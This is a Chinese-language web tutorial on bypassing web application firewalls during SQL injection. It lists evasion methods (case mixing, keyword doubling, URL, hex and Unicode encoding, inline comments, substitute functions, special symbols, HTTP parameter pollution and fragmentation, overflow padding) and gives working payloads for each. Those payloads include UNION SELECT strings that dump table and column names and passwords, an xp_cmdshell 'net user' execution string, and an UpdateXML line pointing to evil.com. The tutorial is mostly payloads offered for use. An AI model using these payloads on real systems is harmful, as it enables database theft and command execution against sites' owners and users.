您好,登錄后才能下訂單哦!
本篇內容介紹了“web安全中SQL注入繞過技術怎么實現”的有關知識,在實際案例的操作過程中,不少人都會遇到這樣的困境,接下來就讓小編帶領大家學習一下如何處理這些情況吧!希望大家仔細閱讀,能夠學有所成!
之所以要談到WAF的常見特征,是為了更好的了解WAF的運行機制,這樣就能增加幾分繞過的機會了。本文不對WAF做詳細介紹,只談及幾點相關的。
總體來說,WAF(Web Application Firewall)的具有以下四個方面的功能:
\1. 審計設備:用來截獲所有HTTP數據或者僅僅滿足某些規則的會話
\2. 訪問控制設備:用來控制對Web應用的訪問,既包括主動安全模式也包括被動安全模式
\3. 架構/網絡設計工具:當運行在反向代理模式,他們被用來分配職能,集中控制,虛擬基礎結構等。
\4. WEB應用加固工具:這些功能增強被保護Web應用的安全性,它不僅能夠屏蔽WEB應用固有弱點,而且能夠保護WEB應用編程錯誤導致的安全隱患。
WAF的常見特點:
異常檢測協議:拒絕不符合HTTP標準的請求
增強的輸入驗證:代理和服務端的驗證,而不只是限于客戶端驗證
白名單&黑名單:白名單適用于穩定的We應用,黑名單適合處理已知問題
基于規則和基于異常的保護:基于規則更多的依賴黑名單機制,基于異常更為靈活
狀態管理:重點進行會話保護
另還有:Coikies保護、抗入侵規避技術、響應監視和信息泄露保護等
如果是對于掃描器,WAF有其識別之道:
掃描器識別主要由以下幾點:
1) 掃描器指紋(head字段/請求參數值),以wvs為例,會有很明顯的Acunetix在內的標識
2) 單IP+ cookie某時間段內觸發規則次數
3) 隱藏的鏈接標簽等(<a>)
4) Cookie植入
5) 驗證碼驗證,掃描器無法自動填充驗證碼
6) 單IP請求時間段內Webserver返回http狀態404比例, 掃描器探測敏感目錄基于字典,找不到文件則返回404
從目前能找到的資料來看,我把這些繞過waf的技術分為9類,包含從初級到高級技巧
a) 大小寫混合
b)替換關鍵字
c)使用編碼
d)使用注釋
e)等價函數與命令
f)特殊符號
g)HTTP參數控制
h)緩沖區溢出
i)整合繞過
大小寫繞過用于只針對小寫或大寫的關鍵字匹配技術,正則表達式/express/i 大小寫不敏感即無法繞過,這是最簡單的繞過技術
舉例:z.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4
示例場景可能的情況為filter的規則里有對大小寫轉換的處理,但不是每個關鍵字或每種情況都有處理
這種情況下大小寫轉化無法繞過,而且正則表達式會替換或刪除select、union這些關鍵字,如果只匹配一次就很容易繞過
舉例:z.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4
同樣是很基礎的技術,有些時候甚至構造得更復雜:SeLSeselectleCTecT,不建議對此抱太大期望
1.URL編碼
在Chrome中輸入一個連接,非保留字的字符瀏覽器會對其URL編碼,如空格變為%20、單引號%27、左括號%28、右括號%29
普通的URL編碼可能無法實現繞過,還存在一種情況URL編碼只進行了一次過濾,可以用兩次編碼繞過:page.php?id=1%252f%252a*/UNION%252f%252a /SELECT
2.十六進制編碼
舉例:z.com/index.php?page_id=-15 /!u%6eion/ /!se%6cect/ 1,2,3,4…
SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))
示例代碼中,前者是對單個字符十六進制編碼,后者則是對整個字符串編碼,使用上來說較少見一點
3.Unicode編碼
Unicode有所謂的標準編碼和非標準編碼,假設我們用的utf-8為標準編碼,那么西歐語系所使用的就是非標準編碼了
看一下常用的幾個符號的一些Unicode編碼:
單引號: %u0027、%u02b9、%u02bc、%u02c8、%u2032、%uff07、%c0%27、%c0%a7、%e0%80%a7
空格:%u0020、%uff00、%c0%20、%c0%a0、%e0%80%a0
左括號:%u0028、%uff08、%c0%28、%c0%a8、%e0%80%a8
右括號:%u0029、%uff09、%c0%29、%c0%a9、%e0%80%a9
舉例:?id=10%D6‘%20AND%201=2%23
SELECT '?'='A'; #1
兩個示例中,前者利用雙字節繞過,比如對單引號轉義操作變成',那么就變成了%D6%5C',%D6%5C構成了一個款字節即Unicode字節,單引號可以正常使用
第二個示例使用的是兩種不同編碼的字符的比較,它們比較的結果可能是True或者False,關鍵在于Unicode編碼種類繁多,基于黑名單的過濾器無法處理所以情況,從而實現繞過
另外平時聽得多一點的可能是utf-7的繞過,還有utf-16、utf-32的繞過,后者從成功的實現對google的繞過,有興趣的朋友可以去了解下
常見的編碼當然還有二進制、八進制,它們不一定都派得上用場,但后面會提到使用二進制的例子
看一下常見的用于注釋的符號有哪些://, -- , /**/, #, --+,-- -, ;**,--a
1.普通注釋
舉例:z.com/index.php?page_id=-15 %55nION/**/%53ElecT 1,2,3,4
'union%a0select pass from users#
/**/在構造得查詢語句中插入注釋,規避對空格的依賴或關鍵字識別;#、--+用于終結語句的查詢
2.內聯注釋
相比普通注釋,內聯注釋用的更多,它有一個特性/!**/只有MySQL能識別
舉例:index.php?page_id=-15 /!UNION/ /!SELECT/ 1,2,3
?page_id=null%0A///!50000%55nIOn//yoyu/all//%0A/!%53eLEct/%0A/nnaa/+1,2,3,4…
兩個示例中前者使用內聯注釋,后者還用到了普通注釋。使用注釋一個很有用的做法便是對關鍵字的拆分,要做到這一點后面討論的特殊符號也能實現,當然前提是包括/、*在內的這些字符能正常使用
有些函數或命令因其關鍵字被檢測出來而無法使用,但是在很多情況下可以使用與之等價或類似的代碼替代其使用
1.函數或變量
hex()、bin() ==> ascii()
sleep() ==>benchmark()
concat_ws()==>group_concat()
mid()、substr() ==> substring()
@@user ==> user()
@@datadir ==> datadir()
舉例:substring()和substr()無法使用時:?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74
或者:substr((select 'password'),1,1) = 0x70
strcmp(left('password',1), 0x69) = 1
strcmp(left('password',1), 0x70) = 0
strcmp(left('password',1), 0x71) = -1
上述這幾個示例用于說明有時候當某個函數不能使用時,還可以找到其他的函數替代其實現,置于select、uinon、where等關鍵字被限制如何處理將在后面filter部分討論
2.符號
and和or有可能不能使用,或者可以試下&&和||能不能用;還有=不能使用的情況,可以考慮嘗試<、>,因為如果不小于又不大于,那邊是等于了
在看一下用得多的空格,可以使用如下符號表示其作用:%20 %09 %0a %0b %0c %0d %a0 /**/
3.生僻函數
MySQL/PostgreSQL支持XML函數:Select UpdateXML(‘<script x=_></script> ’,’/script/@x/’,’src=//evil.com’);
?id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1))
SELECT xmlelement(name img,xmlattributes(1as src,'a\l\x65rt(1)'as \117n\x65rror)); //postgresql
?id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
MySQL、PostgreSQL、Oracle它們都有許多自己的函數,基于黑名單的filter要想涵蓋這么多東西從實際上來說不太可能,而且代價太大,看來黑名單技術到一定程度便遇到了限制
這里我把非字母數字的字符都規在了特殊符號一類,特殊符號有特殊的含義和用法,涉及信息量比前面提到的幾種都要多
先看下烏云drops上“waf的繞過技巧”一文使用的幾個例子:
1.使用反引號,例如select
version()`,可以用來過空格和正則,特殊情況下還可以將其做注釋符用
2.神奇的"-+.",select+id-1+1.from users; “+”是用于字符串連接的,”-”和”.”在此也用于連接,可以逃過空格和關鍵字過濾
3.@符號,select@^1.from users; @用于變量定義如@var_name,一個@表示用戶定義,@@表示系統變量
4.Mysql function() as xxx 也可不用as和空格 select-count(id)test from users; //繞過空格限制
可見,使用這些字符的確是能做很多事,也證實了那句老話,只有想不到,沒有做不到
本人搜羅了部分可能發揮大作用的字符(未包括'、*、/等在內,考慮到前面已經出現較多次了):`、~、!、@、%、()、[]、.、-、+ 、|、%00
舉例:
關鍵字拆分:‘se’+’lec’+’t’
%S%E%L%E%C%T 1
1.aspx?id=1;EXEC(‘ma’+'ster..x’+'p_cm’+'dsh’+'ell ”net user”’)
!和():' or --+2=- -!!!'2
id=1+(UnI)(oN)+(SeL)(EcT) //另 Access中,”[]”用于表和列,”()”用于數值也可以做分隔
本節最后在給出一些和這些字符多少有點關系的操作符供參考:
>>, <<, >=, <=, <>,<=>,XOR, DIV, SOUNDS LIKE, RLIKE, REGEXP, IS, NOT, BETWEEN
使用這些"特殊符號"實現繞過是一件很細微的事情,一方面各家數據庫對有效符號的處理是不一樣的,另一方面你得充分了解這些符號的特性和使用方法才能作為繞過手段
這里HTTP參數控制除了對查詢語句的參數進行篡改,還包括HTTP方法、HTTP頭的控制
1.HPP(HTTP Parameter Polution)
舉例:/?id=1;select+1,2,3+from+users+where+id=1—
/?id=1;select+1&id=2,3+from+users+where+id=1—
/?id=1/*/union/&id=/select/&id=/pwd/&id=/from/&id=*/users
HPP又稱做重復參數污染,最簡單的就是?uid=1&uid=2&uid=3,對于這種情況,不同的Web服務器處理方式如下:
具體WAF如何處理,要看其設置的規則,不過就示例中最后一個來看有較大可能繞過
2.HPF(HTTP Parameter Fragment)
這種方法是HTTP分割注入,同CRLF有相似之處(使用控制字符%0a、%0d等執行換行)
舉例:
/?a=1+union/&b=/select+1,pass/&c=/from+users--
select * from table where a=1 union/* and b=/select 1,pass/ limit */from users—
看罷上面兩個示例,發現和HPP最后一個示例很像,不同之處在于參數不一樣,這里是在不同的參數之間進行分割,到了數據庫執行查詢時再合并語句。
3.HPC(HTTP Parameter Contamination)
這一概念見于exploit-db上的paper:Beyond SQLi: Obfuscate and Bypass,Contamination同樣意為污染
RFC2396定義了如下一些字符:
Unreserved: a-z, A-Z, 0-9 and _ . ! ~ * ' () Reserved : ; / ? : @ & = + $ , Unwise : { } | \ ^ [ ] `
不同的Web服務器處理處理構造得特殊請求時有不同的邏輯:
以魔術字符%為例,Asp/Asp.net會受到影響
緩沖區溢出用于對付WAF,有不少WAF是C語言寫的,而C語言自身沒有緩沖區保護機制,因此如果WAF在處理測試向量時超出了其緩沖區長度,就會引發bug從而實現繞過
舉例:
?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
示例0xA*1000指0xA后面”A"重復1000次,一般來說對應用軟件構成緩沖區溢出都需要較大的測試長度,這里1000只做參考,在某些情況下可能不需要這么長也能溢出
整合的意思是結合使用前面談到的各種繞過技術,單一的技術可能無法繞過過濾機制,但是多種技術的配合使用成功的可能性就會增加不少了。這一方面來說是總體與局部和的關系,另一方面則是多種技術的使用創造了更多的可能性,除非每一種技術單獨都無法使用,否則它們能產生比自身大得多的能量。
舉例:
z.com/index.php?page_id=-15+and+(select 1)=(Select 0xAA[..(add about 1000 "A")..])+/*!uNIOn*/+/*!SeLECt*/+1,2,3,4…
id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()– -
?id=-725+/*!UNION*/+/*!SELECT*/+1,GrOUp_COnCaT(COLUMN_NAME),3,4,5+FROM+/*!INFORMATION_SCHEM*/.COLUMNS+WHERE+TABLE_NAME=0x41646d696e--
“web安全中SQL注入繞過技術怎么實現”的內容就介紹到這里了,感謝大家的閱讀。如果想了解更多行業相關的知識可以關注億速云網站,小編將為大家輸出更多高質量的實用文章!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。